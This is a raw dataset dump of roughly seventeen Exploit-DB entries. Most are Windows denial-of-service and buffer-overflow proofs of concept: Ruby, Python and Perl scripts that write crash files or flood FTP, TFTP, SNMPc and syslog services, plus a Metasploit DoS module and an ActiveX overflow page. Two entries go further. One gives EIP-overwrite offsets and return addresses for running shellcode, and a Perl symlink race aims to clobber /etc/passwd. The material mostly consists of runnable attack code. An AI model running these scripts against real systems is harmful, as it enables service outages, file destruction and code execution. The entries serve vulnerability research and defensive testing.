deardaniel/secdata-raw huggingface dataset:
Exploit-DB #14832
Description: SnackAmp 3.1.2 - '.wav' Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2010-08-29
Author: James Fitts

Exploit:
# Exploit Title: SnackAmp 3.1.2 Malicious WAV Buffer Overflow Vulnerability (POC)
# Date: 08/28/10
# Author: james [AT] learnsecurityonline [DOT] com
# Software Link: http://sourceforge.net/projects/snackamp/
# Version: 3.1.2
# Tested on: Windows XP SP3 EN
# CVE: N/A

#! /usr/bin/env ruby

junk = "\x41" * 20000

File.open("crash.wav", 'w') do |b|
	b.write junk
end
Exploit-DB #4033
Description: SNMPc 7.0.18 - Remote Denial of Service (Metasploit)
Type: dos
Platform: windows
Date: 2007-06-04
Author: En Douli

Exploit:
##
# $Id: snmpc.rb  2007-06-03  $
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##


require 'msf/core'

module Msf

class Auxiliary::Dos::Windows::Snmpc < Msf::Auxiliary

	include Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,	
			'Name'           => 'SNMPc ',
			'Description'    => %q{
				This module sends a specially-crafted packet to the service login of snmpc 
				causing a denial of service of snmpc.
			},
			'Author'         => [ 'En Douli, Tks to OaiTeam <DouliEn@gmail.com>' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 1 $',
			'References'     =>
				[
					[ 'CVE', 'XXXXXXX' ],
				]))
			
			register_options([Opt::RPORT(165),], self.class)
	end

	def run
		connect
		init = "\x14\x00\x00\x00\x70\xa9\x00\x00\x51\x03\x00\x00\x02\x00\x00\x00\x72\x63\x6f\x6e"
		pkt = "\x29\x00\x00\x00\xbc\xee\x00\x00\x52\x03\x00\x00\x02\x00\x00\x00\x41\x64\x6d\x69\x6e\x69\x73\x74\x72\x61\x74"
		pkt << "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" * 56
		pkt << "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x09"
		pkt << "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" * 35
		pkt <<	 "\x41\x41\x41\x41\x41\x41\x41\x41\x09\x30\x00"
		
		print_status("Sending dos packet ... ")
		
		sock.put(init)
		sock.put(pkt)
		
		disconnect
	end

end
end	

# milw0rm.com [2007-06-04]
Exploit-DB #22610
Description: Snowblind Web Server 1.0/1.1 - GET Buffer Overflow
Type: dos
Platform: windows
Date: 2003-05-16
Author: euronymous

Exploit:
source: https://www.securityfocus.com/bid/7619/info

Snowblind Web Server has been reported prone to a buffer overflow vulnerability. The vulnerability exists when the web server attempts to process HTTP requests of excessive length.

Although unconfirmed, this vulnerability may be exploited to execute attacker-supplied code with the privileges of the vulnerable web server. 

GET /fff[ x 129 ]ffff HTTP/1.0
Exploit-DB #22608
Description: Snowblind Web Server 1.0/1.1 - Malformed HTTP Request Denial of Service
Type: dos
Platform: windows
Date: 2003-05-16
Author: euronymous

Exploit:
source: https://www.securityfocus.com/bid/7617/info

A denial of service vulnerability has been reported for Snowblind. The vulnerability will cause the web server to crash when processing a malformed HTTP request. 

http://localhost/</
Exploit-DB #39226
Description: SNScan 1.05 - Scan Hostname/IP Field Buffer Overflow Crash (PoC)
Type: dos
Platform: windows
Date: 2016-01-12
Author: Daniel Velazquez

Exploit:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Exploit Title     : SNScan v1.05 Scan Hostname/IP Field Buffer Overflow Crash PoC
# Discovery by      : Daniel Velazquez
# Email         : ingenierovelazquez@hotmail.com
# Discovery Date    : 12/01/2016
# Vendor Homepage   : http://www.foundstone.com
# Software Link     : http://www.mcafee.com/us/downloads/free-tools/snscan.aspx
# Tested Version    : 1.05
# Vulnerability Type    : Denial of Service (DoS) Local
# Tested on OS      : Windows 8 x86 es
# Steps to Produce the Crash: 
# 1.- Run python code : python SNScan-v1.05.py
# 2.- Open SNScan-v1.05.txt and copy content to clipboard
# 3.- Open SNScan.exe
# 4.- Clic button Ok
# 5.- Paste Clipboard Scan > Hostname/IP
# 6.- Clic on add button (->)
# 7.- Clic button Aceptar
# 8.- Crashed
 
buffer = "\x41" * 388
eip = "\x42" * 4
 
f = open ("SNScan-v1.05.txt", "w")
f.write(buffer + eip)
f.close()
Exploit-DB #43208
Description: Socusoft Photo 2 Video Converter 8.0.0 - Local Buffer Overflow
Type: dos
Platform: windows
Date: 2017-12-01
Author: ret2eax

Exploit:
# Exploit Title: Socusoft Photo 2 Video Converter v8.0.0 Local Buffer Overflow (Free and Professional variants) 
# Date: 01/12/2017
# Exploit Author: Jason Magic (ret2eax)
# Vendor Homepage: www.socusoft.com
# Version: 8.0.0
# Tested on: Windows Server 2008 R2

# Socusoft's Photo 2 Video Converter v8.0.0 (Free and Professional variants) 
# contains a local buffer overflow condition in the pdmlog.dll library. 
# Exploitation can result in register rewrites to control program execution 
# flow, therefore, resulting in the ability to execute arbitrary shellcode leading 
# to complete system compromise.

# Import generated .reg prior to restarting the executable within a debugger

#  The following PUSH ESP, RETN instruction sequence addresses are suitable to 
#  redirect program execution:
	
#  DVDPhotoData.dll:

#	0x10002352 push esp; ret
#	0x10013945 push esp; retn 0x0004
#	0x1004cb83 push esp; retn 0x0008
#	0x1004cbb8 push esp; retn 0x0008
#	0x1004cc11 push esp; retn 0x0008

# BEGIN EXPLOIT POC

#!/usr/bin/python
	
# REGISTERS (POC)
	
# EAX 42424242
# ECX 0002BF3B pdmlog.<ModuleEntryPoint>
# EDX 00020000 pdmlog.00020000
# EBX 00020000 pdmlog.00020000
# ESP 035BFB90
# EBP 035BFBAC
# ESI 00000002
# EDI 00000000
# EIP 42424242

# EAX 10013945 DVDPhoto.10013945
# ECX 0002BF3B pdmlog.<ModuleEntryPoint>
# EDX 00020000 pdmlog.00020000
# EBX 00020000 pdmlog.00020000
# ESP 03A0FB90
# EBP 03A0FBAC
# ESI 00000002
# EDI 00000000
# EIP 10013945 DVDPhoto.10013945 <- EIP Overwrite '\x45\x39\x01\x10' 

# outfile
file = "proof-of-concept.reg"

# register re-write
padding = "\x41" * 548
eipOffset = "\x45\x39\x01\x10" 	# PUSH ESP (0x10013945)
stackRewrite = "\x43" * 400 	# Shellcode Space

# generate exploit file containing above payload instructing EIP overwrite

poc = "Windows Registry Editor Version 5.00\n\n"
poc = poc + "[HKEY_CURRENT_USER\Software\Socusoft Photo to Video Converter Free Version\General]\n"
poc = poc + "\"TempFolder\"=\"" + padding + eipOffset + stackRewrite + "\""
 
try:
	print "[*] Generating exploit contents...\n";
	print "[*] Creating payload file...\n";
	writeFile = open (file, "w")
	writeFile.write( poc )
	writeFile.close()
	print "[*] Success!";
except:
	print "[!] ERROR!";

#EOF
Exploit-DB #18106
Description: Soda PDF Professional 1.2.155 - '.pdf' / '.WWF' File Handling Denial of Service
Type: dos
Platform: windows
Date: 2011-11-11
Author: LiquidWorm

Exploit:
#!/usr/bin/perl
#
#
# Soda PDF Professional 1.2.155 PDF/WWF File Handling Restriction of Service (RoS)
#
#
# Vendor: LULU software
# Product web page: http://www.sodapdf.com
# Affected version: 1.2.155.1729 (Professional with OCR)
#
# Summary: Increase your efficiency with Soda PDF Professional, the smart
# & simple tool for opening, creating, editing, converting, and securing
# PDF files in a collaborative environment. Save time by using powerful
# automated features like batch PDF creation, professional templates &
# document comparison.
#
# Desc: Soda PDF Pro suffers from a restriction of service (RoS) vulnerability
# when handling PDF or WWF file formats which can be exploited by malicious
# people to cause a denial of service scenario.
#
#
# Tested on: Microsoft Windows XP Professional SP3 (EN)
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# liquidworm gmail com
#
#
# Advisory ID: ZSL-2011-5056
# Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5056.php
#
#
# 10.11.2011
#


use strict;

my $file = "Midnight_in_Paris.pdf"; # or .wwf
my $tovar = "\x25\x50\x44\x46\x0A"."\x41" x 300000;
print "\n\n[*] Creating $file file...\n";
open ZSL, ">./$file" || die "\nCan't open $file: $!";
print ZSL $tovar;
print "\n[.] File successfully mounted!\n\n";
close ZSL;
Exploit-DB #22666
Description: Softrex Tornado WWW-Server 1.2 - Buffer Overflow
Type: dos
Platform: windows
Date: 2003-05-28
Author: D4rkGr3y

Exploit:
source: https://www.securityfocus.com/bid/7716/info

A buffer overflow vulnerability has been reported for Tornado www-Server. The vulnerability exists when Tornado processes overly long HTTP requests. This will result in the server crashing.

Although unconfirmed, it may be possible to exploit this vulnerability to execute malicious attacker-supplied code. 

http://www.example.com/aaa[471]aaa
Exploit-DB #24726
Description: Software602 602 LAN Suite - Multiple Remote Denial of Service Vulnerabilities
Type: dos
Platform: windows
Date: 2004-11-06
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/11615/info

602 LAN SUITE is reported prone to multiple remote denial of service vulnerabilities. The following specific issues are reported:

It is reported that an attacker may consume CPU and memory resources on a target 602 LAN SUITE server. Reports indicate that this condition exists due to a lack of sanity checking prior to the allocation of regions of memory by the affected software. 

A remote attacker may exploit this vulnerability to consume system resources, ultimately impacting the performance of the target computer and potentially resulting in a denial of service.

A second vulnerability is reported in the manner in which 602 LAN SUITE handles telnet proxy requests. It is reported that the proxy does not perform sufficient sanity checks on the destination IP of a proxy request.

A remote attacker may exploit this condition to exhaust all available sockets on a target computer that is running 602 LAN SUITE telnet proxy. This will effectively deny service to legitimate requests.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/24726.zip
Exploit-DB #15750
Description: Solar FTP Server 2.0 - Multiple Denial of Service Vulnerabilities
Type: dos
Platform: windows
Date: 2010-12-16
Author: modpr0be

Exploit:
#!/usr/bin/python

# Exploit Title: SolarFTP 2.0 Multiple Commands Denial of Service Vulnerability
# Date: 12/17/2010
# Author: modpr0be
# Software Link: http://www.solarftp.com/files/solarftps-setup.exe
# Vulnerable version: 2.0
# Tested on: Windows XP SP2, Windows XP SP3 
# CVE : N/A
#
# ======================================================================
#        ___       _ __        __            __    _     __
#   ____/ (_)___ _(_) /_____ _/ / ___  _____/ /_  (_)___/ /___  ____ _
#  / __  / / __ `/ / __/ __ `/ / / _ \/ ___/ __ \/ / __  / __ \/ __ `/
# / /_/ / / /_/ / / /_/ /_/ / / /  __/ /__/ / / / / /_/ / / / / /_/ /
# \__,_/_/\__, /_/\__/\__,_/_/  \___/\___/_/ /_/_/\__,_/_/ /_/\__,_/
#        /____/                          http://www.digital-echidna.org
# ======================================================================
#
# Greetz:
# 	say hello to all digital-echidna org crew:
# 		otoy, bean, s3o, d00m, n0rf0x, fm, gotechidna, manix
#	special thx to amalia (^^), oebaj, offsec, exploit-db, corelan team
#
#### Software description:
# Solar FTP Server is a handy and easy to use personal FTP server with 
# features like virtual directories, simple and intuitive user interface, 
# real-time activity monitoring and management.
#
#### Exploit information:
# SolarFTP 2.0 will suddenly stop (crash) while these commands were sent: 
# APPE, GET, PUT, NLST, and MDTM
# Sending USER with junk also crashing the Admin Configuration but not the service.
# Stack contains our junk in random. Both EIP and SEH were not overwritten.
#
#### Other information:
# 12/10/2010 - vendor contacted 
# 12/17/2010 - no response, advisory released

import socket, sys
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

junk = "\x41" * 80000

def banner():
	print "\nSolarFTP 2.0 Multiple Commands Denial of Service Vulnerability."
	print "By: modpr0be (modpr0be[at]digital-echidna[dot]org)\n"

	
if len(sys.argv)!=4:
        banner()
        print "Usage: %s <ip> <user> <pass>\n" %sys.argv[0]
        sys.exit(0)

try:
	s.connect((sys.argv[1], 21))
except:
	print "Can\'t connect to server!\n"
	sys.exit(0)
	
s.recv(1024)
s.send('USER '+sys.argv[2]+'\r\n')
s.recv(1024)
s.send('PASS '+sys.argv[3]+'\r\n')
s.recv(1024)
s.send('APPE '+junk+'\r\n')
s.recv(1024)
s.close()
Exploit-DB #16204
Description: Solar FTP Server 2.1 - Denial of Service
Type: dos
Platform: windows
Date: 2011-02-22
Author: x000

Exploit:
#!/usr/bin/perl
#
#[+]Exploit Titulo: Exploit Denial of Service Solar FTP 2.1
#[+]Data: 21/10/2011
#[+]Autor: x000
#[+]Versão: 2.1
#[+]Tested on: WIN-XP SP3 PORTUGUESE BRAZILIAN 
#[+]CVE: N/A
#
#       xxx     xxx        xxxxxxxxxxx        xxxxxxxxxxx        xxxxxxxxxxx
#        xxx   xxx        xxxxxxxxxxxxx      xxxxxxxxxxxxx      xxxxxxxxxxxxx  
#         xxx xxx         xxxxxxxxxxxxx      xxxxxxxxxxxxx      xxxxxxxxxxxxx                    
#          xxxxx          xxx       xxx      xxx       xxx      xxx       xxx           xxxxxx   
#           xxx           xxx       xxx      xxx       xxx      xxx       xxx          xxxxxxxx  xxxxxxxx  xxxxxxxxx
#         xxxxxx          xxx       xxx      xxx       xxx      xxx       xxx          xx    xx  xx    xx  xx
#        xxx  xxx         xxx       xxx      xxx       xxx      xxx       xxx          xx    xx  xx xxxx   xx  xxxxx
#      xxx     xxx        xxxxxxxxxxxxx      xxxxxxxxxxxxx      xxxxxxxxxxxxx   xxx    xxxxxxxx  xx   xx   xx     xx
#     xxx       xxx        xxxxxxxxxxx        xxxxxxxxxxx        xxxxxxxxxxx    xxx     xxxxxx   xx    xx  xxxxxxxxx
#
#
#
#               Link de Download: http://solarftp.com/files/solarftps-setup.exe
#
#             .: Criador  by: x000 :.
#              3d3n@hotmail.com.br
#                 www.x000.org
#       Obrigado C4SS!0 G0M3S Friends Forever
#


use Socket;
use IO::Socket;
use strict;
use warnings;

my $sys = `ver`;

if($sys=~/Windows/){
system("cls");
system("color 4f");
}
else{
system("clear");
}
sub usage{
print q
{
               00    00  000000    000000    000000
                00  00  00000000  00000000  00000000
                 0000   0      0  0      0  0      0
                0000    0      0  0      0  0      0
               00  00   00000000  00000000  00000000
              00    00   000000    000000    000000
               
                      | Criador x000 |

               | Contato: 3d3n@hotmail.com.br |

                      |  From Brazil |

                    | Site www.x000.org |


};
}

if($#ARGV!=1){
usage;
print "\t\t[-]Modo de Uso: perl $0 <Host> <Porta>\n";
print "\t\t[-]Exemplo:perl $0 192.168.1.12 21\n";
exit;
}

usage;
print "\t\t[+]Conectando ao Servidor $ARGV[0]...\n\n";
sleep(1);

my $exploit = "A" x 50;
$exploit = $exploit."%x%lf%f%d%c%s%c%u%n%s%c%lf%tt%d%c";


my $sock = IO::Socket::INET->new(
PeerAddr=>$ARGV[0],
PeerPort=>int($ARGV[1]),
Timeout=>1,
Proto=>"tcp",
)or die("ERRO:\n$!\n");

print "\t\t[+]Checando se o Servidor e Vulneravel\n\n";
sleep(1);


$sock->recv(my $data,2000);
unless($data=~/Solar FTP Server/){
print "\t\t[+]Servidor Nao e Vulneravel:(\n\n";
sleep(1);
exit;
}
print "\t\t[+]Servidor Vulneravel:)\n\n";
sleep(1);

print "\t\t[+]Enviando Exploit Denial of Service\n\n";
sleep(1);
$sock->send("USER $exploit\r\n");
close($sock);
print "\t\t[+]Exploit Denial Of Service Enviado:)\n";

# x000.org
Exploit-DB #233
Description: Solaris 2.7/2.8 Catman - Local Insecure tmp Symlink
Type: dos
Platform: windows
Date: 2000-12-19
Author: Shane Hird

Exploit:
#!/usr/local/bin/perl -w 
#
# The problem is catman creates files in /tmp insecurly.
# They are based on the PID of the catman process,
# catman will happily clobber any files that are
# symlinked to that file. The idea of this script is to
# create a block of symlinks to the target file with
# the current PID  as a starting point.  Depending on
# what load your system has this creates 1000 files in
# /tmp as sman_$currentpid + 1000.
#
# The drawback is you would have to know around when root
# would be executing catman. A better solution would be
# to monitor for the catman process and create the link
# before catman creates the file.  I think this is a
# really small window however. This worked on a patched
# Solaris 2.7 box (August 2000 patch cluster)
#
# SunOS rootabega 5.7 Generic_106541-12 sun4u sparc SUNW,Ultra-1
# lwc@vapid.betteros.org   11/21/2000   Vapid Labs.
# http://vapid.betteros.org

$clobber = "/etc/passwd"; #file to clobber
$X=getpgrp();
$Xc=$X; #Constant
$Y=$X+1000;#Constant

while($X < $Y) {
  print "Linking /tmp/sman_$X to $clobber :"; 
  # Change $clobber to what you want to clobber.
  if (symlink ($clobber, "/tmp/sman_$X")) {
    print "Sucess\n";
  }
  else { print "failed, Busy system?\n";}
  $X=$X+1;
}

#watch /tmp and see if catman is executed in time.
while(1){
  $list = "/usr/bin/ls -l /tmp | grep sman|grep root |";
  open (list,$list) or "die cant open ls...\n";
  while(<list>) {
    @args = split "_",$_;
    chop ($args[1]);
    if ($args[1] >= $Xc && $args[1] <= $Y){
      print "Looks like pid $args[1] is the winner\n cleaning....\n"; 
      `/usr/bin/rm -f /tmp/sman*`;
      exit(1);
    }
  }
}


# milw0rm.com [2000-12-19]
Exploit-DB #46793
Description: SolarWinds DameWare Mini Remote Control 10.0 - Denial of Service
Type: dos
Platform: windows
Date: 2019-05-03
Author: Dino Barlattani

Exploit:
#Vendor:     Solarwinds
#Site Vendor:    https://www.dameware.com/
#Product:     Dameware Mini Remote Control
#Version:    10.0 x64
#Platform:    Windows
#Tested on:    Windows 7 SP1 x64
#Dscription:    The DWRCC executable file is affected by a buffer overflow vulnerability.
#The buffer size passed in on the machine name parameter is not checked
#Vector:    pass buffer to the machine host name parameter

#Author:    Dino Barlattani dinbar78@gmail.com
#Link:        http://www.binaryworld.it

#CVE ID:    CVE-2019-9017

#POC in VB Script

option explicit
dim fold,exe,buf,i,wsh,fso,result
exe = "DWRCC.exe"
fold = "C:\program files\SolarWinds\DameWare Mini Remote Control 10.0 x64
#1\"
for i = 0 to 300
    buf = buf & "A"
next
set wsh = createobject("wscript.shell")
set fso = createobject("scripting.filesystemobject")
if fso.folderexists(fold) then
    fold = fold & exe
    fold = chr(34) & fold & chr(34)
    result = wsh.run(fold & " -c: -h: -m:" & buf,0,true)
end if
Exploit-DB #42411
Description: Solarwinds Kiwi Syslog 9.6.1.6 - Denial of Service
Type: dos
Platform: windows
Date: 2017-08-01
Author: Guillaume Kaddouch

Exploit:
# Exploit Title: Solarwinds Kiwi Syslog 9.6.1.6 - Remote Denial of Service (Type Mismatch)
# Date: 26/05/2017
# Exploit Author: Guillaume Kaddouch
#   Twitter: @gkweb76
#   Blog: https://networkfilter.blogspot.com
#   GitHub: https://github.com/gkweb76/exploits
# Vendor Homepage: http://www.solarwinds.com/
# Software Link: http://downloads.solarwinds.com/solarwinds/Release/Kiwi/Syslog/Kiwi-Syslog-Server-9.6.1-Eval.zip
# Version: 9.6.1.6
# Tested on: Windows 7 SP1 Family x64 (FR) and Windows 8.1 Pro x64
# Category: DoS

"""
Disclosure Timeline:
--------------------
2017-05-20: Vulnerability discovered
2017-05-26: Vendor contacted
2017-05-31: Vendor answered (technical support)
2017-05-31: Vendor contacted (no answer)
2017-08-01: Exploit published


Description :
-------------
A remote Denial of Service exists in Kiwi Syslog 9.6.1.6 in the TCP listener.
Apparently any data sent to it make it crash because of a Type Mismatch error.
The syslog TCP listener is disabled by default.


Instructions:
-------------
- Starts Kiwi Syslog, and enable the TCP listener in the settings, default port is 1468.
- Run this exploit locally or from your remote attacking machine.
"""

#!/usr/bin/python
import socket

host    = "10.0.0.56"
port    = 1468

buffer  = "crash please?"

try:
        print "[*] Connecting to %s:%d" % (host, port)
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((host, port))

        print "[*] Sending buffer... (%d bytes)" % len(buffer)
        s.send(buffer)
        s.close()

        print "[*] Done."
except:
        print "[-] Error connecting"
Exploit-DB #28463
Description: SolarWinds Server and Application Monitor - ActiveX 'Pepco32c' Buffer Overflow
Type: dos
Platform: windows
Date: 2013-09-22
Author: blake

Exploit:
<html>
<!--
SolarWinds Server and Application Monitor ActiveX (Pepco32c) Buffer Overflow
Vendor: SolarWinds
Version: 6.0
Tested on: Windows 2003 SP2 / IE
Download: http://www.solarwinds.com/downloads/
Author: Blake

CLSID: 8AE9F829-D587-42BB-B5C1-09EE8D9547FA
Path: C:\Program Files\Common Files\SolarWinds\Pepco32c.ocx
Member Name: PEstrarg1
Progid: PEPCO32CLib.Pepco
Safe for Scripting: False
Safe for Initialization: False
Kill Bit: False
-->

<object classid='clsid:8AE9F829-D587-42BB-B5C1-09EE8D9547FA' id='target' ></object>
<script language='vbscript'>

' 132 bytes in we control ecx before the call ecx instruction

buffer = String(132, "A")
ecx = String(4, "B")
junk = String(3086, "C")
arg1 = buffer + ecx + junk

target.PEstrarg1 = arg1

</script>
Exploit-DB #12683
Description: SolarWinds TFTP Server 10.4.0.10 - Denial of Service
Type: dos
Platform: windows
Date: 2010-05-21
Author: Nullthreat

Exploit:
# Exploit Title: Solarwinds TFTP DOS
# Date: 5-21-2010
# Author: Nullthreat
# Software Link: http://www.solarwinds.com/products/freetools/free_tftp_server.aspx
# Version: 10.4.0.10
# Tested on: Windows XP SP3
# Code : 

#!/usr/bin/perl
# SolarWinds TFTP Server 10.4.0.10 Remote DoS Exploit
# by Nullthreat
# The application will not crash, but it will stop accepting connections.
# You will be forced to restart the server by hand in the config
# Thanks to: LoneFerret, CoreLanC0der, PureHate, Rel1k

use IO::Socket;
$port = "69";
$host = $ARGV[0];
$s = IO::Socket::INET->new(PeerPort => $port,PeerAddr => $host,Proto=> 'udp');

$really=
"\x00\x01". # Opcode 1 = Read Request
"\x01". # The crash....no really thats it
"\x00". # Null byte
"NETASCII". # The mode
"\x00"; # Null byte
$s->send($really);
Exploit-DB #13836
Description: SolarWinds TFTP Server 10.4.0.13 - Denial of Service
Type: dos
Platform: windows
Date: 2010-06-12
Author: Nullthreat

Exploit:
#!/usr/bin/python
print "\n############################################################"
print "##	Nullthreat Network"
print "##	Solarwinds TFTP Server Ver. 10.4.0.13"
print "##	Elliott \"Nullthreat\" Cutright"
print "##	nullthreat@nullthreat.net"
print "############################################################"
print "\n"
# Summary: An long Write Request (1000 A's) will cause SolarWinds TFTP Server to crash.
# Tested on: Windows XP SP3
# Usage: ./solarwindscrash.py <IPADDRESS>
# Note: It can take the application a few moments to crash, be patiant.
# Shouts: #SEUnited, Corelan Team

# Discovered: June 6th 2010
# Vendor Notified: June 9th 2010
# Patch Released: June 11th 2010

import socket
import sys

host = sys.argv[1]
port = 69
addr = (host,port)

s = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)

print "[*] Building Crash"
crash = "\x41" * 1000
request = "\x00\x02" + crash + "\x00" + "NETASCII" + "\x00"

print "[*] Sending Crash"
s.sendto(request, addr)

print "[*] Crash Sent, It can take some time for the app to crash"